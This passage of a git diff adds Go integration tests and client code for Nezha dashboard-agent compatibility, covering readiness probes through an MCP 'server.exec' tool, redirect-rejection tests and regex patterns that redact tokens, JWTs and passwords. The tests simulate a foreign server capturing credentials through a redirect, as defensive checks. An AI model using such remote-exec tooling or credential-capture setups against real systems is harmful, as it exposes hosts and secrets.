receipt.Processes[0].PID) + require.FileExists(t, agent.ConfigPath()) + require.NoError(t, agent.Stop(t.Context())) + require.NoDirExists(t, agent.WorkspaceRoot()) +} + +func TestAgent_StartProcess_rollsBackStartedGenerationWhenProcessGroupTrackingFails(t *testing.T) { + agent := newUnstartedTestAgent(t) + trackingErr := errors.New("injected process group tracking failure") + var startedPID, startedProcessGroupID int + agent.trackPID = func(pid int) error { + startedPID = pid + return nil + } + agent.trackProcessGroup = func(processGroupID int) error { + startedProcessGroupID = processGroupID + return trackingErr + } + _, err := agent.StartProcess(t.Context()) + require.ErrorIs(t, err, trackingErr) + require.Empty(t, agent.RuntimeIdentity()) + receipt := agent.CleanupReceipt() + require.Len(t, receipt.Processes, 1) + t.Logf("started_pid=%d started_pgid=%d injected_failure=%q runtime_identity=%+v cleanup_record=%+v forced=%t", startedPID, startedProcessGroupID, trackingErr, agent.RuntimeIdentity(), receipt.Processes[0], receipt.Forced) + require.Equal(t, "agent", receipt.Processes[0].Name) + require.NotZero(t, receipt.Processes[0].PID) + require.False(t, receipt.Processes[0].Forced) + requireProcessAndGroupGone(t, receipt.Processes[0].PID, startedProcessGroupID) + require.FileExists(t, agent.ConfigPath()) + require.NoError(t, agent.Stop(t.Context())) + require.NoDirExists(t, agent.WorkspaceRoot()) +} + +func newUnstartedTestAgent(t *testing.T) *Agent { + workspaceRoot, err := workspace.New(t.Context()) + require.NoError(t, err) + agent := &Agent{workspace: workspaceRoot, uuid: "00000000-0000-0000-0000-000000000091", cleanupDone: make(chan struct{}), startConfig: AgentStartConfig{SourceDir: testAgentSourceDir(t), Endpoint: "127.0.0.1:1", Secret: agentSecret}, trackPID: workspaceRoot.TrackPID, trackProcessGroup: workspaceRoot.TrackProcessGroup} + require.NoError(t, agent.prepareFixture(t.Context(), agent.startConfig)) + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, agent.Stop(cleanupContext)) + }) + return agent +} + +func requireProcessAndGroupGone(t *testing.T, pid, processGroupID int) { + _, err := os.Stat(filepath.Join("/proc", strconv.Itoa(pid))) + require.ErrorIs(t, err, os.ErrNotExist) + require.ErrorIs(t, syscall.Kill(-processGroupID, 0), syscall.ESRCH) +} + +func TestAgent_StopProcessPreservesConfig(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, false) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{UUID: "00000000-0000-0000-0000-000000000089"}) + require.NoError(t, waitForAgentReady(t, agentInstance, dashboardInstance)) + configBefore, err := os.ReadFile(agentInstance.ConfigPath()) + require.NoError(t, err) + pidBefore := agentInstance.PID() + + // When + stopContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + _, err = agentInstance.StopProcess(stopContext) + + // Then + require.NoError(t, err) + configAfter, readErr := os.ReadFile(agentInstance.ConfigPath()) + require.NoError(t, readErr) + require.Equal(t, configBefore, configAfter) + require.Equal(t, "00000000-0000-0000-0000-000000000089", agentInstance.UUID()) + require.NotZero(t, pidBefore) +} + +func TestAgent_RestartProcessPreservesConfigBytesAndUUID(t *testing.T) { + // Given + dashboardInstance := startTestDashboard(t, false) + agentInstance := startTestAgent(t, dashboardInstance, AgentStartConfig{UUID: "00000000-0000-0000-0000-000000000090"}) + require.NoError(t, waitForAgentReady(t, agentInstance, dashboardInstance)) + configBefore, err := os.ReadFile(agentInstance.ConfigPath()) + require.NoError(t, err) + pidBefore := agentInstance.PID() + + // When + restartContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + _, err = agentInstance.RestartProcess(restartContext) + + // Then + require.NoError(t, err) + require.NotEqual(t, pidBefore, agentInstance.PID()) + configAfter, readErr := os.ReadFile(agentInstance.ConfigPath()) + require.NoError(t, readErr) + require.Equal(t, configBefore, configAfter) + require.Equal(t, "00000000-0000-0000-0000-000000000090", agentInstance.UUID()) +} diff --git a/integration/agentcompat/internal/agent/readiness.go b/integration/agentcompat/internal/agent/readiness.go new file mode 100644 index 00000000..eaa0c34f --- /dev/null +++ b/integration/agentcompat/internal/agent/readiness.go @@ -0,0 +1,241 @@ +//go:build linux + +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +const readinessBudget = 45 * time.Second + +type Readiness struct { + ServerID uint64 + UUID string + Version string + Online bool + LastActive time.Time + VersionObserved bool + RequestTaskEstablished bool + StateReceiptObserved bool + Host json.RawMessage + State json.RawMessage +} + +type serverListArguments struct { + OnlineOnly bool `json:"online_only"` +} + +type serverListResult struct { + Servers []serverListItem `json:"servers"` + Count int `json:"count"` +} + +type serverListItem struct { + ID uint64 `json:"id"` + UUID string `json:"uuid"` + Online bool `json:"online"` + Platform string `json:"platform"` + Arch string `json:"arch"` + LastActive time.Time `json:"last_active"` +} + +type serverGetArguments struct { + ServerID uint64 `json:"server_id"` +} + +type serverGetResult struct { + ID uint64 `json:"id"` + UUID string `json:"uuid"` + Host json.RawMessage `json:"host"` + State json.RawMessage `json:"state"` + LastActive time.Time `json:"last_active"` +} + +type execArguments struct { + ServerID uint64 `json:"server_id"` + Cmd string `json:"cmd"` + Args []string `json:"args"` +} + +type execResult struct { + ExitCode int `json:"exit_code"` + Stdout string `json:"stdout"` + Error string `json:"error"` +} + +func (agent *Agent) WaitReady(ctx context.Context, dashboardInstance *dashboard.Dashboard) (Readiness, error) { + deadline, cancel := context.WithTimeout(ctx, readinessBudget) + defer cancel() + ticker := time.NewTicker(500 * time.Millisecond) + defer ticker.Stop() + for { + readiness, err := agent.probeReadiness(deadline, dashboardInstance) + if err == nil { + return readiness, nil + } + select { + case <-agent.supervisor.Exited(): + return Readiness{}, fmt.Errorf("agent exited before readiness: %w", err) + case <-deadline.Done(): + return Readiness{}, fmt.Errorf("agent readiness: %w", errors.Join(err, deadline.Err())) + case <-ticker.C: + } + } +} + +func (agent *Agent) WaitReadyEventDriven(ctx context.Context, dashboardInstance *dashboard.Dashboard) (Readiness, error) { + serverID, err := dashboardInstance.WaitForInfo2UUID(ctx, agent.uuid) + if err != nil { + return Readiness{}, fmt.Errorf("agent info2 readiness: %w", err) + } + readiness, err := agent.probeReadinessForServer(ctx, dashboardInstance.Clients().MCP, serverID) + if err != nil { + return Readiness{}, err + } + return readiness, nil +} + +func (agent *Agent) WaitReadyEventDrivenWithClient(ctx context.Context, dashboardInstance *dashboard.Dashboard, mcpClient *client.Client) (Readiness, error) { + serverID, err := dashboardInstance.WaitForInfo2UUID(ctx, agent.uuid) + if err != nil { + return Readiness{}, fmt.Errorf("agent info2 readiness: %w", err) + } + return agent.probeReadinessForServer(ctx, mcpClient, serverID) +} + +func (agent *Agent) probeReadinessForServer(ctx context.Context, mcpClient *client.Client, serverID uint64) (Readiness, error) { + serverResponse, err := client.CallTool[serverGetArguments, serverGetResult](ctx, mcpClient, client.ToolCall[serverGetArguments]{Name: "server.get", Arguments: serverGetArguments{ServerID: serverID}}) + if err != nil { + return Readiness{}, err + } + server := serverListItem{ID: serverID, UUID: agent.uuid, Online: true} + if err := verifyServerGetResult(server, serverResponse.StructuredContent); err != nil { + return Readiness{}, err + } + execResponse, err := client.CallTool[execArguments, execResult](ctx, mcpClient, client.ToolCall[execArguments]{Name: "server.exec", Arguments: execArguments{ServerID: serverID, Cmd: "sh", Args: []string{"-c", "printf agentcompat-ready"}}}) + if err != nil { + return Readiness{}, fmt.Errorf("live RequestTask probe: %w", err) + } + if execResponse.StructuredContent.ExitCode != 0 || execResponse.StructuredContent.Stdout != "agentcompat-ready" { + return Readiness{}, errors.New("live RequestTask probe returned unexpected result") + } + version, versionObserved, err := decodeHostVersionEvidence(serverResponse.StructuredContent.Host) + if err != nil { + return Readiness{}, err + } + return Readiness{ServerID: serverID, UUID: agent.uuid, Version: version, Online: true, LastActive: serverResponse.StructuredContent.LastActive, VersionObserved: versionObserved, RequestTaskEstablished: true, StateReceiptObserved: true, Host: serverResponse.StructuredContent.Host, State: serverResponse.StructuredContent.State}, nil +} + +func (agent *Agent) probeReadiness(ctx context.Context, dashboardInstance *dashboard.Dashboard) (Readiness, error) { + call := dashboardInstance.Clients().MCP + list, err := client.CallTool[serverListArguments, serverListResult](ctx, call, client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}) + if err != nil { + return Readiness{}, err + } + var server serverListItem + for _, candidate := range list.StructuredContent.Servers { + if candidate.UUID == agent.uuid { + server = candidate + break + } + } + if server.ID == 0 || server.UUID != agent.uuid || !server.Online { + return Readiness{}, errors.New("agent UUID is not online in dashboard server.list") + } + execResponse, err := client.CallTool[execArguments, execResult](ctx, call, client.ToolCall[execArguments]{Name: "server.exec", Arguments: execArguments{ServerID: server.ID, Cmd: "sh", Args: []string{"-c", "printf agentcompat-ready"}}}) + if err != nil { + return Readiness{}, fmt.Errorf("live RequestTask probe: %w", err) + } + if execResponse.StructuredContent.ExitCode != 0 || execResponse.StructuredContent.Stdout != "agentcompat-ready" { + return Readiness{}, errors.New("live RequestTask probe returned unexpected result") + } + serverResponse, err := client.CallTool[serverGetArguments, serverGetResult](ctx, call, client.ToolCall[serverGetArguments]{Name: "server.get", Arguments: serverGetArguments{ServerID: server.ID}}) + if err != nil { + return Readiness{}, err + } + if err := verifyServerGetResult(server, serverResponse.StructuredContent); err != nil { + return Readiness{}, err + } + version, versionObserved, err := decodeHostVersionEvidence(serverResponse.StructuredContent.Host) + if err != nil { + return Readiness{}, err + } + stateReceiptObserved := dashboardInstance.ReceiptAccepted() + if !dashboardInstance.ReceiptGateEnabled() { + stateReceiptObserved = agent.observeStateReceipt(serverResponse.StructuredContent.LastActive) + } + if !stateReceiptObserved { + return Readiness{}, errors.New("waiting for a second state report after receipt") + } + return Readiness{ + ServerID: server.ID, UUID: agent.uuid, Version: version, Online: true, LastActive: serverResponse.StructuredContent.LastActive, VersionObserved: versionObserved, + RequestTaskEstablished: true, StateReceiptObserved: stateReceiptObserved, + Host: serverResponse.StructuredContent.Host, State: serverResponse.StructuredContent.State, + }, nil +} + +func decodeHostVersionEvidence(raw json.RawMessage) (string, bool, error) { + var host struct { + Version string `json:"version"` + } + if err := json.Unmarshal(raw, &host); err != nil { + return "", false, fmt.Errorf("decode dashboard Host: %w", err) + } + // A decoded Host object is not version evidence unless the Agent reported a value. + return host.Version, host.Version != "", nil +} + +func verifyServerGetResult(server serverListItem, result serverGetResult) error { + if server.ID == 0 || result.ID != server.ID || result.UUID != server.UUID { + return errors.New("dashboard server.get identity does not match server.list") + } + if len(result.Host) == 0 || len(result.State) == 0 || string(result.Host) == "null" || string(result.State) == "null" { + return errors.New("dashboard server.get omitted Host or State") + } + return nil +} + +func (agent *Agent) observeStateReceipt(lastActive time.Time) bool { + agent.readinessMu.Lock() + defer agent.readinessMu.Unlock() + observed := !agent.lastStateReport.IsZero() && lastActive.After(agent.lastStateReport) + if lastActive.After(agent.lastStateReport) { + agent.lastStateReport = lastActive + } + return observed +} + +func (agent *Agent) AssertNeverOnline(ctx context.Context, dashboardInstance *dashboard.Dashboard, duration time.Duration) error { + deadline, cancel := context.WithTimeout(ctx, duration) + defer cancel() + ticker := time.NewTicker(500 * time.Millisecond) + defer ticker.Stop() + var lastError error + for { + list, err := client.CallTool[serverListArguments, serverListResult](deadline, dashboardInstance.Clients().MCP, client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}) + if err == nil { + for _, server := range list.StructuredContent.Servers { + if server.UUID == agent.uuid { + return errors.New("invalid-secret agent became online") + } + } + } else if deadline.Err() == nil { + lastError = err + } + select { + case <-deadline.Done(): + if lastError != nil { + return fmt.Errorf("server.list unavailable while asserting agent stayed offline: %w", lastError) + } + return nil + case <-ticker.C: + } + } +} diff --git a/integration/agentcompat/internal/agent/readiness_server_id_test.go b/integration/agentcompat/internal/agent/readiness_server_id_test.go new file mode 100644 index 00000000..c2aecce3 --- /dev/null +++ b/integration/agentcompat/internal/agent/readiness_server_id_test.go @@ -0,0 +1,47 @@ +//go:build linux && agentcompat + +package agent + +import ( + "encoding/json" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestServerGetResult_VerifiesListedServerIdentity_whenUUIDOrIDMismatch(t *testing.T) { + listed := serverListItem{ID: 81, UUID: "00000000-0000-0000-0000-000000000081", Online: true} + tests := []struct { + name string + result serverGetResult + }{ + { + name: "UUID differs", + result: serverGetResult{ID: listed.ID, UUID: "00000000-0000-0000-0000-000000000082", Host: json.RawMessage(`{}`), State: json.RawMessage(`{}`)}, + }, + { + name: "ID differs", + result: serverGetResult{ID: 82, UUID: listed.UUID, Host: json.RawMessage(`{}`), State: json.RawMessage(`{}`)}, + }, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + result := test.result + err := verifyServerGetResult(listed, result) + require.Error(t, err) + }) + } +} + +func TestServerGetResult_RejectsZeroListedServerID_whenReturnedIdentityMatches(t *testing.T) { + // Given + listed := serverListItem{UUID: "00000000-0000-0000-0000-000000000081", Online: true} + result := serverGetResult{UUID: listed.UUID, Host: json.RawMessage(`{}`), State: json.RawMessage(`{}`)} + + // When + err := verifyServerGetResult(listed, result) + + // Then + require.Error(t, err) + require.EqualError(t, err, "dashboard server.get identity does not match server.list") +} diff --git a/integration/agentcompat/internal/agent/readiness_version_test.go b/integration/agentcompat/internal/agent/readiness_version_test.go new file mode 100644 index 00000000..804393c3 --- /dev/null +++ b/integration/agentcompat/internal/agent/readiness_version_test.go @@ -0,0 +1,36 @@ +//go:build linux + +package agent + +import ( + "encoding/json" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestHostVersionEvidence_IsNotObserved_whenReportedVersionIsEmpty(t *testing.T) { + // Given + host := json.RawMessage(`{"version":""}`) + + // When + version, observed, err := decodeHostVersionEvidence(host) + + // Then + require.NoError(t, err) + require.Empty(t, version) + require.False(t, observed) +} + +func TestHostVersionEvidence_IsObserved_whenReportedVersionIsNonempty(t *testing.T) { + // Given + host := json.RawMessage(`{"version":"v2.1.0"}`) + + // When + version, observed, err := decodeHostVersionEvidence(host) + + // Then + require.NoError(t, err) + require.Equal(t, "v2.1.0", version) + require.True(t, observed) +} diff --git a/integration/agentcompat/internal/client/client.go b/integration/agentcompat/internal/client/client.go new file mode 100644 index 00000000..0839b2cf --- /dev/null +++ b/integration/agentcompat/internal/client/client.go @@ -0,0 +1,158 @@ +package client + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/http/cookiejar" + "net/url" + "strings" + "sync/atomic" + "time" + + "github.com/gorilla/websocket" +) + +const ( + defaultRequestTimeout = 10 * time.Second + defaultTransferTimeout = 5 * time.Minute + defaultMaxResponseBytes = int64(8 << 20) + defaultMaxTransferBytes = int64(100 << 20) +) + +var ErrInvalidConfig = errors.New("client: invalid configuration") + +type Config struct { + BaseURL string + HTTPClient *http.Client + WebSocketDialer *websocket.Dialer + BearerToken string + Origin string + RequestTimeout time.Duration + TransferTimeout time.Duration + MaxResponseBytes int64 + MaxTransferBytes int64 +} + +type Client struct { + baseURL *url.URL + httpClient *http.Client + webSocketDialer *websocket.Dialer + bearerToken string + origin string + requestTimeout time.Duration + transferTimeout time.Duration + maxResponseBytes int64 + maxTransferBytes int64 + nextRequestID atomic.Uint64 + requestCount atomic.Uint64 +} + +func (client *Client) RequestCount() uint64 { + return client.requestCount.Load() +} + +func New(config Config) (*Client, error) { + baseURL, err := url.Parse(config.BaseURL) + if err != nil || baseURL.Host == "" || (baseURL.Scheme != "http" && baseURL.Scheme != "https") { + return nil, fmt.Errorf("base URL: %w", ErrInvalidConfig) + } + + requestTimeout := config.RequestTimeout + if requestTimeout == 0 { + requestTimeout = defaultRequestTimeout + } + transferTimeout := config.TransferTimeout + if transferTimeout == 0 { + transferTimeout = defaultTransferTimeout + } + maxResponseBytes := config.MaxResponseBytes + if maxResponseBytes == 0 { + maxResponseBytes = defaultMaxResponseBytes + } + maxTransferBytes := config.MaxTransferBytes + if maxTransferBytes == 0 { + maxTransferBytes = defaultMaxTransferBytes + } + if requestTimeout < 0 || transferTimeout < 0 || maxResponseBytes < 1 || maxTransferBytes < 1 { + return nil, fmt.Errorf("request limits: %w", ErrInvalidConfig) + } + + httpClient := &http.Client{} + if config.HTTPClient != nil { + clone := *config.HTTPClient + httpClient = &clone + } + if httpClient.Jar == nil { + jar, jarErr := cookiejar.New(nil) + if jarErr != nil { + return nil, fmt.Errorf("cookie jar: %w", jarErr) + } + httpClient.Jar = jar + } + httpClient.CheckRedirect = rejectRedirect + + dialer := websocket.DefaultDialer + if config.WebSocketDialer != nil { + dialer = config.WebSocketDialer + } + dialerClone := *dialer + if dialerClone.HandshakeTimeout == 0 || dialerClone.HandshakeTimeout > requestTimeout { + dialerClone.HandshakeTimeout = requestTimeout + } + + origin := strings.TrimSpace(config.Origin) + if origin == "" { + origin = baseURL.Scheme + "://" + baseURL.Host + } + return &Client{ + baseURL: baseURL, + httpClient: httpClient, + webSocketDialer: &dialerClone, + bearerToken: strings.TrimSpace(config.BearerToken), + origin: origin, + requestTimeout: requestTimeout, + transferTimeout: transferTimeout, + maxResponseBytes: maxResponseBytes, + maxTransferBytes: maxTransferBytes, + }, nil +} + +func rejectRedirect(*http.Request, []*http.Request) error { + return ErrRedirect +} + +func (client *Client) requestContext(parent context.Context) (context.Context, context.CancelFunc) { + return context.WithTimeout(parent, client.requestTimeout) +} + +func (client *Client) transferContext(parent context.Context) (context.Context, context.CancelFunc) { + return context.WithTimeout(parent, client.transferTimeout) +} + +func (client *Client) resolvePath(path string) (*url.URL, error) { + reference, err := url.Parse(path) + if err != nil || reference.IsAbs() || reference.Host != "" { + return nil, fmt.Errorf("request path: %w", ErrInvalidConfig) + } + return client.baseURL.ResolveReference(reference), nil +} + +func (client *Client) applyAuthenticatedHeaders(request *http.Request, includeCSRF bool) { + if client.bearerToken != "" { + request.Header.Set("Authorization", "Bearer "+client.bearerToken) + } + if client.origin != "" { + request.Header.Set("Origin", client.origin) + } + if !includeCSRF || client.httpClient.Jar == nil { + return + } + for _, cookie := range client.httpClient.Jar.Cookies(client.baseURL) { + if cookie.Name == "nz-csrf" { + request.Header.Set("X-CSRF-Token", cookie.Value) + return + } + } +} diff --git a/integration/agentcompat/internal/client/client_test.go b/integration/agentcompat/internal/client/client_test.go new file mode 100644 index 00000000..152995c4 --- /dev/null +++ b/integration/agentcompat/internal/client/client_test.go @@ -0,0 +1,199 @@ +package client + +import ( + "context" + "net/http" + "net/http/cookiejar" + "net/http/httptest" + "net/url" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +type semanticRequest struct { + Name string `json:"name"` +} + +type semanticResult struct { + ID uint64 `json:"id"` +} + +func TestClient_RESTSemanticSuccess(t *testing.T) { + var requests atomic.Int32 + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + require.Equal(t, http.MethodPost, request.Method) + require.Equal(t, "Bearer test-token", request.Header.Get("Authorization")) + require.Equal(t, "csrf-value", request.Header.Get("X-CSRF-Token")) + require.NotEmpty(t, request.Header.Get("Origin")) + writer.Header().Set("Content-Type", "application/json") + if requests.Add(1) == 1 { + _, _ = writer.Write([]byte(`{"success":false,"error":"semantic failure"}`)) + return + } + writer.WriteHeader(http.StatusCreated) + _, _ = writer.Write([]byte(`{"success":true,"data":{"id":42}}`)) + })) + t.Cleanup(server.Close) + + jar, err := cookiejar.New(nil) + require.NoError(t, err) + baseURL, err := url.Parse(server.URL) + require.NoError(t, err) + jar.SetCookies(baseURL, []*http.Cookie{{Name: "nz-csrf", Value: "csrf-value"}}) + httpClient := server.Client() + httpClient.Jar = jar + client := newTestClient(t, Config{ + BaseURL: server.URL, + HTTPClient: httpClient, + BearerToken: "test-token", + Origin: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + }) + + requestBody := semanticRequest{Name: "probe"} + _, err = REST[semanticRequest, semanticResult](context.Background(), client, RESTRequest[semanticRequest]{ + Method: http.MethodPost, + Path: "/semantic", + Body: &requestBody, + }) + require.ErrorIs(t, err, ErrSemanticFailure) + + result, err := REST[semanticRequest, semanticResult](context.Background(), client, RESTRequest[semanticRequest]{ + Method: http.MethodPost, + Path: "/semantic", + Body: &requestBody, + }) + require.NoError(t, err) + require.Equal(t, uint64(42), result.ID) +} + +func TestClient_RESTRejectsOversize(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"success":true,"data":{"id":42},"padding":"` + strings.Repeat("x", 256) + `"}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 64}) + _, err := REST[struct{}, semanticResult](context.Background(), client, RESTRequest[struct{}]{ + Method: http.MethodGet, + Path: "/oversize", + }) + require.ErrorIs(t, err, ErrResponseTooLarge) +} + +func TestClient_RESTClassifiesNonJSONStatus(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.WriteHeader(http.StatusUnauthorized) + _, _ = writer.Write([]byte("unauthorized")) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + _, err := REST[struct{}, semanticResult](context.Background(), client, RESTRequest[struct{}]{ + Method: http.MethodGet, + Path: "/unauthorized", + }) + require.ErrorIs(t, err, ErrUnauthorized) +} + +func TestClient_RESTRejectsCrossOriginRedirect(t *testing.T) { + var foreignRequests atomic.Int32 + foreignServer := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + foreignRequests.Add(1) + })) + t.Cleanup(foreignServer.Close) + dashboardServer := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + http.Redirect(writer, request, foreignServer.URL+"/credentials", http.StatusTemporaryRedirect) + })) + t.Cleanup(dashboardServer.Close) + + client := newTestClient(t, Config{ + BaseURL: dashboardServer.URL, + BearerToken: "redirect-secret", + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + }) + _, err := REST[struct{}, semanticResult](context.Background(), client, RESTRequest[struct{}]{Method: http.MethodGet, Path: "/redirect"}) + require.ErrorIs(t, err, ErrRedirect) + require.Zero(t, foreignRequests.Load()) +} + +func TestClient_RESTDeadline(t *testing.T) { + // A tiny deadline races handler scheduling under -race; this barrier proves + // the REST request is in flight before evaluating deadline behavior. + requestEntered := make(chan struct{}) + requestCancelled := make(chan struct{}) + releaseHandler := make(chan struct{}) + server := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, request *http.Request) { + close(requestEntered) + select { + case <-request.Context().Done(): + close(requestCancelled) + case <-releaseHandler: + } + })) + t.Cleanup(func() { + close(releaseHandler) + server.Close() + }) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + result := make(chan error, 1) + go func() { + _, err := REST[struct{}, semanticResult](context.Background(), client, RESTRequest[struct{}]{ + Method: http.MethodGet, + Path: "/deadline", + }) + result <- err + }() + waitContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + select { + case <-requestEntered: + case <-waitContext.Done(): + t.Fatal("server did not receive REST request") + } + var err error + select { + case err = <-result: + case <-waitContext.Done(): + t.Fatal("REST request did not reach its deadline") + } + require.ErrorIs(t, err, context.DeadlineExceeded) + select { + case <-requestCancelled: + case <-waitContext.Done(): + t.Fatal("server request context was not cancelled") + } +} + +func TestClient_RESTRejectsRedirectWithoutForwardingSensitiveHeaders(t *testing.T) { + var redirected atomic.Int32 + foreignServer := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + redirected.Add(1) + })) + t.Cleanup(foreignServer.Close) + + dashboardServer := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + http.Redirect(writer, &http.Request{}, foreignServer.URL+"/capture", http.StatusTemporaryRedirect) + })) + t.Cleanup(dashboardServer.Close) + + client := newTestClient(t, Config{BaseURL: dashboardServer.URL, BearerToken: "test-token", RequestTimeout: time.Second, MaxResponseBytes: 1024}) + _, err := REST[struct{}, semanticResult](context.Background(), client, RESTRequest[struct{}]{Method: http.MethodGet, Path: "/redirect"}) + require.ErrorIs(t, err, ErrRedirect) + require.Zero(t, redirected.Load()) +} + +func newTestClient(t *testing.T, config Config) *Client { + t.Helper() + client, err := New(config) + require.NoError(t, err) + return client +} diff --git a/integration/agentcompat/internal/client/errors.go b/integration/agentcompat/internal/client/errors.go new file mode 100644 index 00000000..8711c05f --- /dev/null +++ b/integration/agentcompat/internal/client/errors.go @@ -0,0 +1,101 @@ +package client + +import ( + "encoding/json" + "errors" + "fmt" + "regexp" +) + +var ( + ErrHTTPStatus = errors.New("client: HTTP status failure") + ErrSemanticFailure = errors.New("client: semantic failure") + ErrResponseTooLarge = errors.New("client: response too large") + ErrTransferTooLarge = errors.New("client: transfer too large") + ErrTransferExpired = errors.New("client: transfer URL expired") + ErrUnauthorized = errors.New("client: unauthorized") + ErrRedirect = errors.New("client: redirect rejected") + ErrJSONRPC = errors.New("client: JSON-RPC failure") + ErrToolFailure = errors.New("client: MCP tool failure") +) + +var ( + authorizationPattern = regexp.MustCompile(`(?i)(authorization\s*[:=]\s*(?:bearer\s+)?)[^\s,;"']+`) + bearerPattern = regexp.MustCompile(`(?i)(\bbearer\s+)[A-Za-z0-9._~+/=-]+`) + transferTokenPattern = regexp.MustCompile(`(?i)(/mcp/(?:download|upload)/)[^?\s]+`) + credentialPattern = regexp.MustCompile(`(?i)(["']?(?:x-csrf-token|csrf|token|jwt[_-]?(?:secret(?:[_-]?key)?|token)?|pat|api[_-]?(?:key|token)|access[_-]?token|agent[_-]?secret(?:[_-]?key)?|client[_-]?secret|password|credential|signature)["']?\s*[:=]\s*["']?)[^"'\s,;&}]+(["']?)`) + querySecretPattern = regexp.MustCompile(`(?i)([?&](?:token|access_token|api_key|jwt|pat|secret|authorization|sig|signature|x-amz-signature)=)[^&#\s]+`) + jwtPattern = regexp.MustCompile(`\beyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b`) +) + +type HTTPError struct { + StatusCode int + Message string +} + +type WebSocketHandshakeError struct { + StatusCode int + Message string +} + +func (err *WebSocketHandshakeError) Error() string { + return fmt.Sprintf("WebSocket handshake: status %d: %s", err.StatusCode, Redact(err.Message)) +} + +type WebSocketCloseError struct { + Code int + Text string +} + +func (err *WebSocketCloseError) Error() string { + return fmt.Sprintf("WebSocket closed: code %d: %s", err.Code, Redact(err.Text)) +} + +func (err *HTTPError) Error() string { + if err.Message == "" { + return fmt.Sprintf("%s: status %d", ErrHTTPStatus, err.StatusCode) + } + return fmt.Sprintf("%s: status %d: %s", ErrHTTPStatus, err.StatusCode, Redact(err.Message)) +} + +func (err *HTTPError) Is(target error) bool { + return target == ErrHTTPStatus || (target == ErrUnauthorized && err.StatusCode == 401) +} + +type RPCError struct { + Code int `json:"code"` + Message string `json:"message"` +} + +type ToolFailure struct { + Message string + StructuredContent json.RawMessage +} + +func (err *ToolFailure) Error() string { + if err.Message == "" { + return ErrToolFailure.Error() + } + return fmt.Sprintf("%s: %s", ErrToolFailure, Redact(err.Message)) +} + +func (err *ToolFailure) Is(target error) bool { + return target == ErrToolFailure +} + +func (err *RPCError) Error() string { + return fmt.Sprintf("%s: code %d: %s", ErrJSONRPC, err.Code, Redact(err.Message)) +} + +func (err *RPCError) Is(target error) bool { + return target == ErrJSONRPC || (target == ErrUnauthorized && err.Code == -32001) +} + +func Redact(value string) string { + redacted := authorizationPattern.ReplaceAllString(value, `${1}[REDACTED]`) + redacted = bearerPattern.ReplaceAllString(redacted, `${1}[REDACTED]`) + redacted = credentialPattern.ReplaceAllString(redacted, `${1}[REDACTED]${2}`) + redacted = querySecretPattern.ReplaceAllString(redacted, `${1}[REDACTED]`) + redacted = jwtPattern.ReplaceAllString(redacted, `[REDACTED]`) + return transferTokenPattern.ReplaceAllString(redacted, `${1}[REDACTED]`) +} diff --git a/integration/agentcompat/internal/client/http.go b/integration/agentcompat/internal/client/http.go new file mode 100644 index 00000000..629e4746 --- /dev/null +++ b/integration/agentcompat/internal/client/http.go @@ -0,0 +1,144 @@ +package client + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + + "github.com/nezhahq/nezha/pkg/agentcompatcontract" +) + +type CommonResponse[T any] struct { + Success bool `json:"success"` + Data T `json:"data"` + Error string `json:"error"` +} + +type RESTRequest[T any] struct { + Method string + Path string + Body *T + IOStreamCapability IOStreamCapability +} + +type LoginRequest struct { + Username string `json:"username"` + Password string `json:"password"` +} + +type LoginResponse struct { + Token string `json:"token"` + Expire string `json:"expire"` +} + +func (client *Client) Login(ctx context.Context, request LoginRequest) (LoginResponse, error) { + return REST[LoginRequest, LoginResponse](ctx, client, RESTRequest[LoginRequest]{ + Method: http.MethodPost, + Path: "/api/v1/login", + Body: &request, + }) +} + +func REST[Request, Response any](ctx context.Context, client *Client, request RESTRequest[Request]) (Response, error) { + var zero Response + requestURL, err := client.resolvePath(request.Path) + if err != nil { + return zero, err + } + + var body io.Reader + if request.Body != nil { + encoded, marshalErr := json.Marshal(request.Body) + if marshalErr != nil { + return zero, fmt.Errorf("encode REST request: %w", marshalErr) + } + body = bytes.NewReader(encoded) + } + + requestContext, cancel := client.requestContext(ctx) + defer cancel() + httpRequest, err := http.NewRequestWithContext(requestContext, request.Method, requestURL.String(), body) + if err != nil { + return zero, fmt.Errorf("create REST request: 